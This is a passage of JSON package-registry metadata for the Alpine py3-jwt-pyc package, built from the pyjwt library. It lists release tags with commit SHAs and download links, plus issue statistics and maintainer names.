ind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:35.257Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-jwt-pyc?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.22","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-jwt-pyc","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-jwt-pyc","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-jwt-pyc/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py